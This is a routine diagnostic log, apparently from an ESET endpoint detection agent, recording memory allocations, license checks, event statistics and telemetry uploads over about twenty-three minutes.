2026-03-04 05:08:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:08:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:08:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2019 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; TcpIpConnectionsManager: 537 KB; BaseEvent: 372 KB; ModuleInfoCache: 108 KB; rules::ProcessConditionsCache: 108 KB; BatchSerializer::EventsQueueTag: 96 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66559 KB;
2026-03-04 05:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2423 KB; ModuleMetadata: 579 KB; BaseEvent: 561 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 534 KB; BatchSerializer::EventsQueueTag: 148 KB; ModuleInfoCache: 108 KB; rules::ProcessConditionsCache: 101 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67202 KB;
2026-03-04 05:10:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:06:50, To:, 2026-03-04 05:10:53, Duration (s):, 243, Events Per Second:, 16.961, Events:, 4134, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3427, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460342
2026-03-04 05:10:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s437ms.
2026-03-04 05:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1342 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; TcpIpConnectionsManager: 522 KB; ModuleInfoCache: 108 KB; rules::ProcessConditionsCache: 98 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BaseEvent: 3 KB; BatchSerializer::EventsQueueTag: 1 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65402 KB;
2026-03-04 05:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1703 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 519 KB; BaseEvent: 181 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; rules::ProcessConditionsCache: 90 KB; BatchSerializer::EventsQueueTag: 47 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65977 KB;
2026-03-04 05:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2068 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; TcpIpConnectionsManager: 517 KB; BaseEvent: 362 KB; ModuleInfoCache: 108 KB; BatchSerializer::EventsQueueTag: 94 KB; CacheEntry: 91 KB; rules::ProcessConditionsCache: 83 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66561 KB;
2026-03-04 05:13:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:13:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:13:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:13:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2427 KB; ModuleMetadata: 579 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 551 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 540 KB; TcpIpConnectionsManager: 517 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; rules::ProcessConditionsCache: 71 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67137 KB;
2026-03-04 05:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2793 KB; BaseEvent: 718 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BatchSerializer::EventsQueueTag: 187 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; rules::ProcessConditionsCache: 67 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67685 KB;
2026-03-04 05:15:06 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:10:53, To:, 2026-03-04 05:15:06, Duration (s):, 253, Events Per Second:, 16.193, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 727, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456928
2026-03-04 05:15:09 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s523ms.
2026-03-04 05:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1578 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; BaseEvent: 150 KB; ModuleInfoCache: 108 KB; rules::ProcessConditionsCache: 96 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 40 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65791 KB;
2026-03-04 05:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1919 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 317 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 84 KB; rules::ProcessConditionsCache: 59 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66301 KB;
2026-03-04 05:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2280 KB; ModuleMetadata: 579 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 493 KB; BatchSerializer::EventsQueueTag: 131 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; rules::ProcessConditionsCache: 41 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66884 KB;
2026-03-04 05:18:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:18:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:18:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:18:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2643 KB; BaseEvent: 670 KB; ModuleMetadata: 579 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BatchSerializer::EventsQueueTag: 177 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::ProcessConditionsCache: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67438 KB;
2026-03-04 05:19:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:14:50, To:, 2026-03-04 05:19:18, Duration (s):, 268, Events Per Second:, 15.358, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3410, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 710, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458217
2026-03-04 05:19:20 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s397ms.
2026-03-04 05:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1484 KB; ModuleMetadata: 581 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 111 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 18 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65559 KB;
2026-03-04 05:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1850 KB; ModuleMetadata: 581 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 288 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 76 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 13 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66142 KB;
2026-03-04 05:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2210 KB; ModuleMetadata: 581 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 467 KB; BatchSerializer::EventsQueueTag: 122 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66707 KB;
2026-03-04 05:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2571 KB; BaseEvent: 643 KB; ModuleMetadata: 581 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; rules::ProcessConditionsCache: 400 KB; BatchSerializer::EventsQueueTag: 168 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67684 KB;
2026-03-04 05:23:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:23:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:23:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:23:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:23:30 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:19:18, To:, 2026-03-04 05:23:30, Duration (s):, 252, Events Per Second:, 16.365, Events:, 4125, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 725, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459146
2026-03-04 05:23:32 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s728ms.
2026-03-04 05:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1432 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 396 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BaseEvent: 75 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 20 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65829 KB;
2026-03-04 05:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1793 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 382 KB; BaseEvent: 254 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 67 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66403 KB;
2026-03-04 05:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2156 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 492 KB; BaseEvent: 429 KB; rules::ProcessConditionsCache: 368 KB; BatchSerializer::EventsQueueTag: 113 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66973 KB;
2026-03-04 05:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2515 KB; BaseEvent: 606 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 493 KB; rules::ProcessConditionsCache: 354 KB; BatchSerializer::EventsQueueTag: 159 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67537 KB;
2026-03-04 05:27:43 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:23:29, To:, 2026-03-04 05:27:43, Duration (s):, 254, Events Per Second:, 16.193, Events:, 4122, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3398, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458205
2026-03-04 05:27:45 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s393ms.
2026-03-04 05:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1336 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 494 KB; rules::ProcessConditionsCache: 331 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; BaseEvent: 38 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; BatchSerializer::EventsQueueTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65622 KB;
2026-03-04 05:28:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 05:28:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 05:28:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 05:28:20 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 05:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 05:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 05:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1696 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 495 KB; rules::ProcessConditionsCache: 317 KB; BaseEvent: 214 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; BatchSerializer::EventsQueueTag: 55 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66188 KB;
2026-03-04 05:29:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2057 KB; ModuleMetadata: 582 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; BaseEvent: 393 KB; rules::ProcessConditionsCache: 304 KB; ModuleInfoCache: 108 KB; BatchSerializer::EventsQueueTag: 102 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66763 KB;
2026-03-04 05:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2423 KB; ModuleMetadata: 582 KB; BaseEvent: 574 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 498 KB; rules::ProcessConditionsCache: 302 KB; BatchSerializer::EventsQueueTag: 150 KB; ModuleInfoCache: 108 KB; CacheEntry: 91 KB; cloudutils::CloudData: 39 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67362 KB;
2026-03-04 05:31:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 05:27:43, To:, 2026-03-04 05:31:54, Duration (s):, 251, Events Per Second:, 16.372, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3387, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 726, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457443
2026-03-04 05:31:55 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s423ms.
